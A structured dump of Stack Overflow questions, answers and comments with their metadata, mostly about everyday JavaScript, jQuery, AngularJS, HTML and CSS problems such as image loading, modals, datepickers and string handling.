has body: Suppose I have webapp in which there are 1000 images like, &lt;img src="something" /&gt; &lt;img src="something" /&gt; &lt;img src="something" /&gt; . . . &lt;img src="something" /&gt; Which makes page loading slower, as that each image is retrieved from the request and displayed to the page. My question is that , Is there is any other way to minimize page loading time. What I have tried is that I tried to encode these images with base64 but it is increasing the size of the webpage. Any guidance , help appreciated.
type: Question
tagged with: c#
has title: Cache images in with c#
tagged with: javascript
score: 0
has answer: http://stackoverflow.com/a/25787314
answer count: 3
has comment: http://stackoverflow.com/comment/40331024
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25787543
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40331006

http://stackoverflow.com/comment/40333342
comment on: http://stackoverflow.com/q/25788078
score: 1
type: Comment
type: QuestionComment
has text: If I remove this, it works for me: 'document.getElementById(x + 'Error').style.display = "block";' and change 'name' to 'username'.

http://stackoverflow.com/comment/40301809
score: 0
type: AnswerComment
has text: @user3649067 take a look at [updated fiddle](http://jsfiddle.net/Ls0ex5t0/6/). I modified `$(".rightslide")` click handler and added `.list-inline { left: 0; }` in CSS.
type: Comment
comment on: http://stackoverflow.com/a/25761365

http://stackoverflow.com/comment/40344801
has text: @JohnnyBones I edit my answer, with some code. Don't have to use ids, but you can. You can also use a class.
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25794284
score: 0

http://stackoverflow.com/comment/40371382
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25809002
has text: Thanks @T J your answer is also working! just the code at the bottom is a little bit more what I needed. Thanks a lot!

http://stackoverflow.com/a/25868187
has body: Basically fetch() is asynchronous, it will internally call Ajax request which is asynchronous. You have to call insertView() once your fetch call is success i.e on success callback. You are observing blank page because you are trying to call insertView() before you got data. If you want to make it synchronous request, you can use the property {async:false} col1.fetch({async:false});
answers question: http://stackoverflow.com/q/25867888
has comment: http://stackoverflow.com/comment/40479634
score: 0
type: Answer
has comment: http://stackoverflow.com/comment/40483630
has comment: http://stackoverflow.com/comment/40485736

http://stackoverflow.com/comment/40215891
comment on: http://stackoverflow.com/q/25724356
type: Comment
type: QuestionComment
has text: Another typo: `.appendTo('tabl')`
score: 0

http://stackoverflow.com/comment/40331298
score: 0
type: Comment
type: QuestionComment
has text: Sorry about that. The table has also the class with the same name. Now updated
comment on: http://stackoverflow.com/q/25787022

http://stackoverflow.com/a/25739418
has body: Take a look at YUIDoc or JSDoc. I think that's what you're after. Here is a link to a post that collects together a few more: Documenting your open source projects
upvote count: 1
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/25739015
has comment: http://stackoverflow.com/comment/40246172
answers question: http://stackoverflow.com/q/25739015
type: Answer
downvote count: 0
score: 1

http://stackoverflow.com/comment/40396049
score: 0
type: Comment
has text: I would say it's a bug. The popup is supposed to be constrained to a reasonable size, and it's quite possible that those constraints did not take DPI into account. File a bug under https://crbug.com ?
type: QuestionComment
comment on: http://stackoverflow.com/q/25819887

http://stackoverflow.com/comment/40435339
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/25840674
type: Comment
has text: So going back to your on-topic comments. How do I ensure #1?

http://stackoverflow.com/a/25720889
downvote count: 0
has body: You could use css :hover and display: none; but css isnt able to make an alert frame, so it could only change style of some element
has comment: http://stackoverflow.com/comment/40209648
type: Answer
has comment: http://stackoverflow.com/comment/40209822
score: 1
answers question: http://stackoverflow.com/q/25720780
upvote count: 1

http://stackoverflow.com/q/25757947
possible better answer: http://stackoverflow.com/a/25758014
downvote count: 3
tagged with: angularjs-scope
tagged with: javascript
has title: My Controller is not working i dont know what is problum
has answer: http://stackoverflow.com/a/25757972
type: Question
type: AnsweredQuestion
score: -2
favorite count: 0
tagged with: angularjs
answer count: 2
has answer: http://stackoverflow.com/a/25758014
upvote count: 1
accepted answer: http://stackoverflow.com/a/25757972
has body: I don't know my controller is not working . I m create a controller but is not working . I know it's little mistake but i m see many times but now show . Please Help me . Angular Code var myPanelSearch = angular.module('left-panel-search', []); myPanelSearch.controller=('leftPanelSearch', function($scope){ $scope.msm = "Wincere"; }); HTML Code {{msm}} {{5+2}} Hello Plunker! Demo

http://stackoverflow.com/a/25781542
answers question: http://stackoverflow.com/q/25780509
has body: Right answer: &lt;input type="email" placeholder="Your email" name="email" required="required" pattern="\validate-unique-email\" class="myclass-1"&gt;
score: 0
type: Answer

http://stackoverflow.com/q/25830477
tagged with: javascript
tagged with: jquery
favorite count: 0
has title: Scroll background image on the body on resize
has comment: http://stackoverflow.com/comment/40410870
tagged with: http://stackoverflow.com/tag/html
tagged with: css
has answer: http://stackoverflow.com/a/25830560
accepted answer: http://stackoverflow.com/a/25830560
has comment: http://stackoverflow.com/comment/40410848
downvote count: 0
has body: I want an image on the body of the website, for which I am using this CSS: body { background-color: #000; margin-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; background-image: url(image.jpg); background-repeat: no-repeat; background-position:center top; } When I resize the browser I wish to see the scrollbar appearing so that image can be scrolled. What am I missing?
type: AnsweredQuestion
score: 1
has comment: http://stackoverflow.com/comment/40410795
type: Question
upvote count: 1
answer count: 1

http://stackoverflow.com/comment/100139357
comment on: http://stackoverflow.com/a/25871227
type: Comment
has text: Same here, trying many solutions from https://stackoverflow.com/questions/15661339/how-do-i-fix-blurry-text-in-my-html5-canvas but in vain.
score: 0
type: AnswerComment

http://stackoverflow.com/comment/40410854
type: QuestionComment
comment on: http://stackoverflow.com/q/25830487
score: 0
has text: Probably it's opened but not visible properly for missing `css` file.
type: Comment

http://stackoverflow.com/comment/40242923
has text: Damn....One bracket at the end of a function, But it showed the "Uncaught SyntaxError: Unexpected end of input " only after a lot of refreshes. It works now. Thank you all!
score: 0
comment on: http://stackoverflow.com/q/25738236
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25798947
tagged with: javascript
has title: Can't get $translate service from angular-translate to change dropdown array for ngDropdowns
tagged with: angularjs
type: UnansweredQuestion
has body: angular-translate is working to change my HTML. I have an array of selection items for the ngDropdown button directive that also has to change. After changing languages, I try to get the new/current language with translate.use(). Something doesn't work. Here's the HTML &lt;div id="postBox" class="floatingSection" data-ng-controller="postButtonController2"&gt; &lt;button id="postButton" dropdown-menu="ddMenuOptions" dropdown-model="ddMenuSelected" class="btn-menu" ng-click="getCurrentLanguage()"&gt;{{ 'POST' | translate }}&lt;/button&gt; &lt;/div&gt; Here's the controller for that postButton. It should get the new/current language from $translate and use that string to get the dropdown selection array, ddSelections.withLangChoice $scope.getCurrentLanguage selects the correct array when hardcoded, but not when getting variables from $translate for the language string. Here's the controller for the button with a dropdown. Comments describe things that work and things that don't on several lines. residenceApp.controller('postButtonController2', ['$translate', '$scope', 'changePostDdFactory', function ( $translate, $scope, ddSelections ){ //ddSelections is the result object from the function returned by changePostDdFactory $scope.getCurrentLanguage = function( $translate ){ alert('here I am in postButtonController2'); //fires on post button clicks and on page load alert('here I am in postButtonController2' + $translate.use()); //does not fire on post button clicks. fires on page load $scope.langKey=$translate.use(); //gets langKey in $translate on page load only $translate.refresh($scope.langKey);//should refresh the translation, but nothing alert('from postButtonController2 - currentLanguage is' + ' ' + $translate.use() ); //does not fire on button click. fires on page load //return 'es'; //hardcoded works on page load &amp; sets ddSelections.withLangChoice to es array return $translate.use(); //sets language for ddSelections on page load, no language changes }; $scope.…
has answer: http://stackoverflow.com/a/25874905
score: 0
tagged with: angular-translate
type: Question
has comment: http://stackoverflow.com/comment/40461646
answer count: 1

http://stackoverflow.com/comment/40442273
score: 0
type: Comment
comment on: http://stackoverflow.com/q/25847875
type: QuestionComment
has text: It would be helpful if you could add the error message you're getting.

http://stackoverflow.com/a/25828496
answers question: http://stackoverflow.com/q/25828451
upvote count: 1
type: Answer
has comment: http://stackoverflow.com/comment/40407138
has body: You can do both tests in the same loop: for (i = 0; i &lt; fl.length - 1; i++) { if (fl[i] == "match1") { f1 = fl[i]; } else if (fl[i] == "match2") { f2 = fl[i]; } } Note that the comparison operator is ==, not =.
downvote count: 0
has comment: http://stackoverflow.com/comment/40407150
has comment: http://stackoverflow.com/comment/40408183
has comment: http://stackoverflow.com/comment/40407156
score: 1
has comment: http://stackoverflow.com/comment/40407346
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/25828451
has comment: http://stackoverflow.com/comment/40407190

http://stackoverflow.com/comment/40467944
type: Comment
comment on: http://stackoverflow.com/a/25861710
has text: You should be adding this in main index.html file where you have defined `ng-app="myApp"`. What error did you get?
score: 0
type: AnswerComment

http://stackoverflow.com/a/29765363
upvote count: 1
has body: The document.mouseover does not work for IE and FireFox. However I have tried this : $(document).ready(function () { setInterval(function () { var $sample = $("body"); if ($sample.is(":hover")) { window.innerDocClick = true; } else { window.innerDocClick = false; } }); }); window.onhashchange = function () { if (window.innerDocClick) { //Your own in-page mechanism triggered the hash change } else { //Browser back or forward button was pressed } }; This works for Chrome and IE and not FireFox. Still working to get FireFox right. Any easy way on detecting Browser back/forward button click are welcome, not particularly in JQuery but also AngularJS or plain Javascript.
downvote count: 0
answers question: http://stackoverflow.com/q/25806608
type: Answer
score: 1

http://stackoverflow.com/a/25756116
type: Answer
downvote count: 1
score: 0
upvote count: 1
answers question: http://stackoverflow.com/q/25755648
has body: Just store a reference to this before performing this.arr.reduce() so that you can use it from inside the callback: addup:function() { var self = this; this.sum= this.arr.reduce(function(previous,current,index,array){ console.log(self); return previous + current; }); },

http://stackoverflow.com/comment/40221566
has text: Why would it fire if you have no transition? You can always make the transition time so short that it is almost invisible to trigger the event
comment on: http://stackoverflow.com/q/25727354
score: 3
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40301650
type: Comment
type: QuestionComment
score: 1
has text: your filesystem is not a database. A million files in a dir is insane and instead of finding a code solution you need to first organise your data better, as a good practice.
comment on: http://stackoverflow.com/q/25757293

http://stackoverflow.com/a/75885358
answers question: http://stackoverflow.com/q/25823914
score: 0
has body: A bit late, but just for giving a different answer let myString = " string"; let count_spaces = myString.length - myString.trim().length; Note that if the string has spaces at the end will also be added.
has comment: http://stackoverflow.com/comment/133903528
type: Answer
has comment: http://stackoverflow.com/comment/133919824

http://stackoverflow.com/comment/40385528
has text: @Jongware, thanks. Fast isn't a requirement. The only constraint is that I cannot reply on a native dependency of any sort.
comment on: http://stackoverflow.com/q/25816236
type: QuestionComment
score: 1
type: Comment

http://stackoverflow.com/a/25847969
answers question: http://stackoverflow.com/q/25847869
has comment: http://stackoverflow.com/comment/40442666
score: 1
upvote count: 1
downvote count: 0
has body: When clicking, simply remove the click-Handler or check if there already is an input, so that your code can be skipped. Put this at the top of your event handler function: if($(this).find('input[type="text"]').length &gt; 0){ return; } Here's the fiddle: http://jsfiddle.net/p2ct8eL7/2/
type: Answer
has comment: http://stackoverflow.com/comment/40442592

http://stackoverflow.com/q/25759267
tagged with: javascript
has comment: http://stackoverflow.com/comment/40282235
score: 0
has title: What's the standard way of executing JavaScript code?
has comment: http://stackoverflow.com/comment/40281097
answer count: 1
has comment: http://stackoverflow.com/comment/40280940
has comment: http://stackoverflow.com/comment/40280819
favorite count: 0
has body: This question had been asked a while ago, but was closed down by trolls. My attempts to reopen have failed, so I ask the same question again, providing a useful answer along with it. What is the standard procedure for running Javascript code? I am learning JavaScript but my tutorial has nothing to say about how to run the code. Do people normally write their code in a text editor and paste to a browser console?
has comment: http://stackoverflow.com/comment/87020795
upvote count: 5
downvote count: 5
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40280917
has comment: http://stackoverflow.com/comment/40280964
has comment: http://stackoverflow.com/comment/40281011
has comment: http://stackoverflow.com/comment/40281462
has comment: http://stackoverflow.com/comment/40281132
has comment: http://stackoverflow.com/comment/40280945
has comment: http://stackoverflow.com/comment/40281408
has answer: http://stackoverflow.com/a/25759268
type: Question

http://stackoverflow.com/q/25714397
type: Question
tagged with: javascript
score: 0
has comment: http://stackoverflow.com/comment/40197767
tagged with: http://stackoverflow.com/tag/html
answer count: 1
type: UnansweredQuestion
has body: I have a page we'll call "Pricing". On that page I have a few links that, when clicked, take the user to an external page we'll call "Info" with extended information. Depending on the link clicked from the "Pricing" page (i.e. info.html#ref1, info.html#ref2, etc.,) that particular element will be highlighted on the "Info" page. I've already got the highlighting to work, however I'd like to have that highlighted element centered in the MIDDLE of the page instead of at the top. That is, if the elements to be highlighted are &lt; 50% of the page, then no scrolling required, but if it's > 50%, then that's when scrolling should occur. I've almost got it working using the following CSS: div.refs p:target { background-color: #FFDDDD; padding-top; 50%; } But as you probably already know, that makes the entire top-half of the page that color. Javascript is welcome.
has answer: http://stackoverflow.com/a/25715224
tagged with: css
has comment: http://stackoverflow.com/comment/40197667
has title: How to force anchor to middle of (external) page instead of top?

http://stackoverflow.com/comment/40372105
has text: Don't confuse "what is logged to the console" is "JavaScript code"
type: QuestionComment
type: Comment
score: 1
comment on: http://stackoverflow.com/q/25809616

http://stackoverflow.com/comment/40207216
comment on: http://stackoverflow.com/q/25719442
score: 0
type: QuestionComment
type: Comment
has text: Welcome to the community! Do you have any code examples you can provide us with so we can better understand what you are trying to accomplish?

http://stackoverflow.com/comment/40227502
has text: for the console.log, I get a $$childScope object: $$childScopeClass {$$childTail: null, $$childHead: null, $$nextSibling: $$childScopeClass, $$watchers: ...}
score: 0
comment on: http://stackoverflow.com/q/25726555
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40399488
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/25824142
type: Comment
has text: No offence but what else would I care about? I just did an `if (Math.abs(average - trackingAmount) > trackTolerance){calcMultiTrack();}` . What more is there to it if I use `>` operator?

http://stackoverflow.com/comment/40302735
score: 0
comment on: http://stackoverflow.com/q/25771419
type: Comment
type: QuestionComment
has text: can u give the full url ?

http://stackoverflow.com/q/25828614
tagged with: javascript
has comment: http://stackoverflow.com/comment/40407571
score: 0
has comment: http://stackoverflow.com/comment/40407362
tagged with: restful-architecture
has title: How to Generate HTML5 Markup from a RESTful Web Service?
tagged with: rest
type: UnansweredQuestion
has body: I am somewhat new to javascript. Is there a common technique, best practice, javascript library/framework etc for converting JSON data from REST web services into HTML5 markup? I am building a web application that uses a HTML5/Javascript page to consume JSON from RESTful web services (written in Java). It will be a single-page web app that I want to inject additional HTML5 controls into, depending on the actions that the user performs on the page. I am not writing several HTML5 templates and simply injecting JSON data into the controls, which seems to be one of the more common techniques out there, but instead generating HTML5 markup on the fly. I am doing this because there are a large amount of variations in HTML5 control types and positioning that I want to occur in the web app due to the interactions and data involved. So, more specifically, something like this: My Web App At the moment I can only think of two ways to do what I want to do: Send JSON straight to the page, and write Javascript (or use a library) to generate the HTML5 markup based on the JSON data Send the HTML5 markup straight to the page, letting the web service do all the HTML5 conversion (perhaps with slower performance due to markup being transferred across the network?) Thanks for the feedback.
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40407356
answer count: 0
tagged with: java
has comment: http://stackoverflow.com/comment/40407386
type: Question

http://stackoverflow.com/comment/40400024
type: QuestionComment
comment on: http://stackoverflow.com/q/25824140
score: 0
has text: watch these free tutorials to learn jquery please http://code.tutsplus.com/courses/30-days-to-learn-jquery
type: Comment

http://stackoverflow.com/q/25794744
tagged with: javascript
tagged with: http://stackoverflow.com/tag/html
tagged with: css
has comment: http://stackoverflow.com/comment/40345475
upvote count: 6
favorite count: 0
has comment: http://stackoverflow.com/comment/91771020
tagged with: twitter-bootstrap
has answer: http://stackoverflow.com/a/25794836
score: 6
possible better answer: http://stackoverflow.com/a/25794813
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25794813
has body: So I have a html ,css , and javascript files, they all form a tiny little web app which is required for a homework for my web app course, part of my homework is to make a bootstrap version off the web i just made. My question is how do I convert my code to bootstrap to make my web responsive? what tricks/shortcuts can I take?
has title: how to change an existing website to bootstrap
type: Question
accepted answer: http://stackoverflow.com/a/25794836
answer count: 2
downvote count: 0

http://stackoverflow.com/a/25827955
answers question: http://stackoverflow.com/q/25827527
score: 0
has body: Thanks to Barmar and cookie monster, here is the solution to my code error. I removed the window.onload command and moved the line of code 'currentIndex =+1;' so the navigation will stop at the last element in the gallery array. Here is the working code: function showImage(imgName) { var largeImg = document.getElementById("large"); var thePath = "images/"; var theSource = thePath + imgName; largeImg.src = theSource; largeImg.alt = imgName; } var currentIndex = 0; function nextGall() { gallery = document.getElementsByClassName("gall"); currentIndex +=1; if(currentIndex &gt;= gallery.length - 1) { currentIndex = gallery.length -1; document.getElementById("next").src = "images/nextEnd.jpg"; } if (currentIndex &gt; 0) { document.getElementById("previous").src = "images/previous.jpg"; } for (var x = 0; x &lt; gallery.length; x++) { gallery[x].style.display = "none"; } gallery[currentIndex].style.display = "block"; return false; } function prevGall() { var gallery = document.getElementsByClassName("gall"); currentIndex -= 1; if(currentIndex &lt;= 0) { currentIndex = 0; document.getElementById("previous").src = "images/previousEnd.jpg"; } if(currentIndex &lt; gallery.length) { document.getElementById("next").src = "images/next.jpg"; } for (var x = 0; x &lt; gallery.length; x++) { gallery[x].style.display = "none"; } gallery[currentIndex].style.display = "block"; return false; }
type: Answer

http://stackoverflow.com/comment/40484836
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25870572
has text: That's why it's _my_ preference. No-one has to agree with it.
score: 0

http://stackoverflow.com/q/25784944
answer count: 1
tagged with: javascript
tagged with: jquery
accepted answer: http://stackoverflow.com/a/25785043
tagged with: datepicker
tagged with: http://stackoverflow.com/tag/html
score: -2
favorite count: 0
has comment: http://stackoverflow.com/comment/40327247
has body: On click in my input calendar don't appear.... this is my code js... and this is my html i thing i've imported wrong files... any suggest? ty
downvote count: 2
has title: JQuery DatePicker calendar does not appear
type: Question
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40327329
has answer: http://stackoverflow.com/a/25785043
has comment: http://stackoverflow.com/comment/40327290
upvote count: 0

http://stackoverflow.com/q/25845341
possible better answer: http://stackoverflow.com/a/25845372
has title: How to use jQuery fadeIn with element created using .after?
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25845470
type: Question
accepted answer: http://stackoverflow.com/a/25845470
tagged with: javascript
tagged with: jquery
tagged with: effects
has answer: http://stackoverflow.com/a/25845372
score: 0
has answer: http://stackoverflow.com/a/25845502
answer count: 3
has body: I am new to jQuery and am trying to gracefully submit a form using AJAX rather than the traditional post method. So far I do the following to hide the form and prevent it from submitting: $(document).ready( function() { $("#contact_me").submit( function(event) { event.preventDefault(); }); $('input#submit').click( function() { $('#contact_me').fadeOut( 1000, function() { $('#contact_me').hide(); $('#contact_me').after( ' Thank you for contacting me. I will contact you shortly. ' ); } ); }); }); However, ideally, I would like the p.submission_text to fade in after the form has been hidden. However, if I append the following after the call to .after, the text does not fade in, it just appears: $('.submission_text').fadeIn( 600 ); How can I get the behaviour I want?

http://stackoverflow.com/q/25834694
has answer: http://stackoverflow.com/a/25834776
has body: Is it possible to request a page with AJAX and stay on that page for about 3 minutes before the ajax function returns, to wait some dynamic content to load up?
has title: Stay on page 3 minutes using AJAX
type: Question
answer count: 1
tagged with: javascript
tagged with: ajax
score: 0
type: UnansweredQuestion

http://stackoverflow.com/a/25768555
type: Answer
score: -2
has body: Create a custom binding like in this example: http://knockoutjs.com/examples/animatedTransitions.html Actually, the documentation states that any control binding attribute must be placed outside a component: Therefore if you want to use a control flow binding such as if or foreach, then you must wrap it around your custom element rather than using it directly on the custom element However, custom bindings cannot be used in virtual elements so it is necessary to place a component inside a wrapping div http://knockoutjs.com/documentation/component-custom-elements.html
accepted answer of: http://stackoverflow.com/q/25767947
has comment: http://stackoverflow.com/comment/40298902
has comment: http://stackoverflow.com/comment/56093246
answers question: http://stackoverflow.com/q/25767947
has comment: http://stackoverflow.com/comment/40301851
has comment: http://stackoverflow.com/comment/40323173
has comment: http://stackoverflow.com/comment/40323507
has comment: http://stackoverflow.com/comment/40322921
upvote count: 0
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40297781
downvote count: 2

http://stackoverflow.com/comment/40443491
has text: i tried that already i need solution in jquery
type: Comment
comment on: http://stackoverflow.com/a/25848542
score: 0
type: AnswerComment

http://stackoverflow.com/comment/40464352
has text: More one doubt. If i do : this.config = {index: var} all of my instances get the correct values. Why this.config.index get the same values? In theory this.config already have references in the prototype? Or the simple fact that i do an attribution clean the references?
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25859482
type: AnswerComment

http://stackoverflow.com/comment/40223290
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25727217
score: 0
has text: Please tell us why you need to iterate through `statusofdoc` and also what kind of data you are handling.

http://stackoverflow.com/comment/40333090
type: QuestionComment
comment on: http://stackoverflow.com/q/25788334
type: Comment
has text: try `$name = $_POST['name'];` and `$address = $_POST['address'];` (watch out for the capitals)
score: 0

http://stackoverflow.com/comment/59561146
has text: you should add your view in comment and delete this one. This is not an answer
comment on: http://stackoverflow.com/a/25766623
type: Comment
score: 2
type: AnswerComment

http://stackoverflow.com/a/25757607
downvote count: 0
has body: php is a server side scripting language. You can do it with jquery. here a demo jsfiddle shows modal popup. Please go through it. &lt;!-- Button trigger modal --&gt; &lt;button class="btn btn-primary btn-lg" data-toggle="modal" data-target="#myModal"&gt; Launch demo modal &lt;/button&gt; &lt;!-- Modal --&gt; &lt;div class="modal fade" id="myModal" tabindex="-1" role="dialog" aria-labelledby="myModalLabel" aria-hidden="true"&gt; &lt;div class="modal-dialog"&gt; &lt;div class="modal-content"&gt; &lt;div class="modal-header"&gt; &lt;button type="button" class="close" data-dismiss="modal"&gt;&lt;span aria-hidden="true"&gt;&amp;times;&lt;/span&gt;&lt;span class="sr-only"&gt;Close&lt;/span&gt;&lt;/button&gt; &lt;h4 class="modal-title" id="myModalLabel"&gt;Modal title&lt;/h4&gt; &lt;/div&gt; &lt;div class="modal-body"&gt; ... &lt;/div&gt; &lt;div class="modal-footer"&gt; &lt;button type="button" class="btn btn-default" data-dismiss="modal"&gt;Close&lt;/button&gt; &lt;button type="button" class="btn btn-primary"&gt;Save changes&lt;/button&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt;
type: Answer
upvote count: 7
accepted answer of: http://stackoverflow.com/q/25757536
score: 7
answers question: http://stackoverflow.com/q/25757536
type: AcceptedAnswer

http://stackoverflow.com/comment/40418602
type: QuestionComment
type: Comment
has text: onload should have a function that can be executed, try: `window.onload=function(){ setInterval(div_show(), 10); };`
comment on: http://stackoverflow.com/q/25834862
score: 0

http://stackoverflow.com/a/25739531
has body: the code Math.floor(Math.random() * 2) gives either 0 or 1, which is then multiplied by PI*28.5, giving either a rotation of 0 or PI*28.5. increase the multiplier of Math.random() to desired number of possible rotations. you may have to change the value multiplying PI also to give a better spread of possible angles (reduce it) something like below should give a wider range of results var numberOfDifferentAngles = 50; var differenceBetweenAngles = Math.PI * 2; rotation : differenceBetweenAngles * Math.floor(Math.random() * numberOfDifferentAngles ),
score: 1
upvote count: 1
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/25739426
answers question: http://stackoverflow.com/q/25739426
type: Answer
downvote count: 0

http://stackoverflow.com/comment/40402097
score: 0
type: Comment
has text: Radio input this is same close tag. You write invalid html.
comment on: http://stackoverflow.com/a/25825732
type: AnswerComment

http://stackoverflow.com/comment/40490003
comment on: http://stackoverflow.com/a/25873544
type: AnswerComment
score: 0
type: Comment
has text: i mistakenly written here I crossed check at both place i've use same name, and I included jquery because on the js page two more function present and working correctly..

http://stackoverflow.com/a/25814183
answers question: http://stackoverflow.com/q/25814137
score: 0
has body: The first thing that stands out to me is that you have multiple elements with the same id attribute; this will mean that when you do things like $('#income').val(), you may be selecting the div with that ID instead of the input, which is what you want. Make sure IDs are always unique.
type: Answer

http://stackoverflow.com/comment/40438166
comment on: http://stackoverflow.com/a/25844023
type: AnswerComment
has text: @RobW: So if `"Most Chrome extension APIs will fail (in an inconsistent way)"` your option 1 is really a no-go. What real-world app would be able to function like that?
score: 0
type: Comment

http://stackoverflow.com/q/25751556
type: Question
has comment: http://stackoverflow.com/comment/40266867
tagged with: javascript
tagged with: jquery
score: 0
has comment: http://stackoverflow.com/comment/40267095
answer count: 1
has body: I am trying to get the id of one object from one page to another page. I have two pages index.html intro.html index.html &lt;input type="text" name="fname" value="" id="idnew"&gt; &lt;a href="intro.html"&gt;&lt;input type="button" value="Post" id="butonid"&gt;&lt;/a&gt; &lt;script&gt; $("#butonid").click(function(){ $('#idnew').val("4") } &lt;/script&gt; Now I want to send the input value of id idnew to intro.html page. Please help me
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25751711
has title: get the id of one post from one page to another page in html
linked to: http://stackoverflow.com/q/7331149
tagged with: local-storage
linked to: http://stackoverflow.com/q/7269640
has comment: http://stackoverflow.com/comment/40266913
has comment: http://stackoverflow.com/comment/40266858

bson
tags question: http://stackoverflow.com/q/25777361
type: Tag
tags question: http://stackoverflow.com/q/25797961
tag name: bson

http://stackoverflow.com/q/25825573
type: Question
has title: Element that follows user input
has answer: http://stackoverflow.com/a/25825858
accepted answer: http://stackoverflow.com/a/25825858
downvote count: 0
tagged with: javascript
tagged with: jquery
has comment: http://stackoverflow.com/comment/40401774
tagged with: http://stackoverflow.com/tag/html
answer count: 1
favorite count: 0
has body: I've created an element(image div) called 'bunny', an input form and a fieldset. I also have a localhost web server which runs my websocket server for my chat. I'm trying to implement a function where for every message(which are spans) sent, the bunny element is placed beside each message. The problems I've encountered doing this are: Since the messages are span, the bunny element duplicates itself and is appended to each span instead of just the end of the message. The bunny element doesn't sit exactly beside the message, it is usually below the span on a new line, I've tried appendTo and InsertAfter in JS HTML: Bunny JAVASCRIPT var messages; var form; var inputBox; function log_msg(msg) { messages.appendChild(document.createElement("span")).innerHTML = msg; } function doInit() { inputBox = document.getElementById("message"); messages = document.getElementById("messages"); form = document.getElementById("message-form"); var s; ... //there's a bit more to the js code but they're all just to connect to server// Would greatly appreciate any suggestions to getting element at the end of each message sent on click of a button, thanks!
upvote count: 1
has comment: http://stackoverflow.com/comment/40401876
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40402244
score: 1

http://stackoverflow.com/q/25744260
has body: What I did is just $('#dataTable').handsontable( {rows: 2, cols: 1, colHeaders: ['Parameter'], minSpareRows: 1} ); Why the header is displaying like 1 and a part below?
answer count: 2
tagged with: javascript
tagged with: jquery
has title: Why does Handsontable display the headers like this?
tagged with: http://stackoverflow.com/tag/html
favorite count: 0
upvote count: 2
possible better answer: http://stackoverflow.com/a/32335127
downvote count: 1
has answer: http://stackoverflow.com/a/32335127
type: AnsweredQuestion
tagged with: handsontable
has answer: http://stackoverflow.com/a/25744500
score: 1
type: Question
accepted answer: http://stackoverflow.com/a/25744500

http://stackoverflow.com/a/25724835
downvote count: 0
has comment: http://stackoverflow.com/comment/40217266
accepted answer of: http://stackoverflow.com/q/25721306
has body: Inside of your Kendo Template you need to escape your quotes. So, you can use &amp;quot; rather than just the ". Like: content: '# if (isInArray(data.date, data.dates, data) == &amp;quot;failure&amp;quot;) { #' + '&lt;div class=&amp;quot;failure&amp;quot;&gt;' + '#= data.value #' + '&lt;/div&gt;' + '# } #' + '# if (isInArray(data.date, data.dates, data) == &amp;quot;success&amp;quot;) { #' + '&lt;div class=&amp;quot;success&amp;quot;&gt;' + '#= data.value #' + '&lt;/div&gt;' + '# } #' + '# if (isInArray(data.date, data.dates, data) == &amp;quot;none&amp;quot;) { #' + '&lt;div class=&amp;quot;none&amp;quot;&gt;' + '#= data.value #' + '&lt;/div&gt;' + '# } #' You can move the template string into your view model, if it helps. Here is an updated fiddle: http://jsfiddle.net/rniemeyer/bfycstr4/
has comment: http://stackoverflow.com/comment/40217284
type: Answer
has comment: http://stackoverflow.com/comment/40217192
has comment: http://stackoverflow.com/comment/40217051
has comment: http://stackoverflow.com/comment/40218542
has comment: http://stackoverflow.com/comment/40217249
upvote count: 1
score: 1
answers question: http://stackoverflow.com/q/25721306
type: AcceptedAnswer

http://stackoverflow.com/comment/40202762
type: AnswerComment
has text: I'll have to create the plunker when I get home. thanks
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25717030

http://stackoverflow.com/comment/40435209
type: AnswerComment
has text: @user995478 — If your actual site doesn't have any frames, then the attempt to load the content wouldn't be denied by x-frames-options!
type: Comment
comment on: http://stackoverflow.com/a/25802624
score: 0

http://stackoverflow.com/comment/40200666
type: Comment
type: QuestionComment
has text: sorry I don't know how to add the code in properly
comment on: http://stackoverflow.com/q/25715919
score: 0

http://stackoverflow.com/comment/40440799
type: QuestionComment
has text: var checkIE=function() { var client = window.navigator.appName; if(client == "Microsoft Internet Explorer") { return 1; } return 0; };
comment on: http://stackoverflow.com/q/25844143
score: 0
type: Comment

http://stackoverflow.com/a/25844899
score: 0
type: AcceptedAnswer
has body: Here is the easiest way to achieve that by using arrays.. without any expressions or stuff. Code is fairly simple and self explanatory along with comments: var str = "apple,apple,orange,banana,strawberry,strawberry,strawberry"; var arr = str.split(','); //getting the array of all fruits var counts = {}; //this array will contain count of each element at it's specific position, counts['apples'] arr.forEach(function(x) { counts[x] = (counts[x] || 0)+1; }); //checking and addition logic.. e.g. counts['apples']+1 alert("Apples: " + counts['apple']); alert("Oranges: " + counts['orange']); alert("Banana: " + counts['banana']); alert("Strawberry: " + counts['strawberry']); See the DEMO here
type: Answer
has comment: http://stackoverflow.com/comment/40441999
accepted answer of: http://stackoverflow.com/q/25844615
has comment: http://stackoverflow.com/comment/40441802
answers question: http://stackoverflow.com/q/25844615
has comment: http://stackoverflow.com/comment/40441852

http://stackoverflow.com/q/25760964
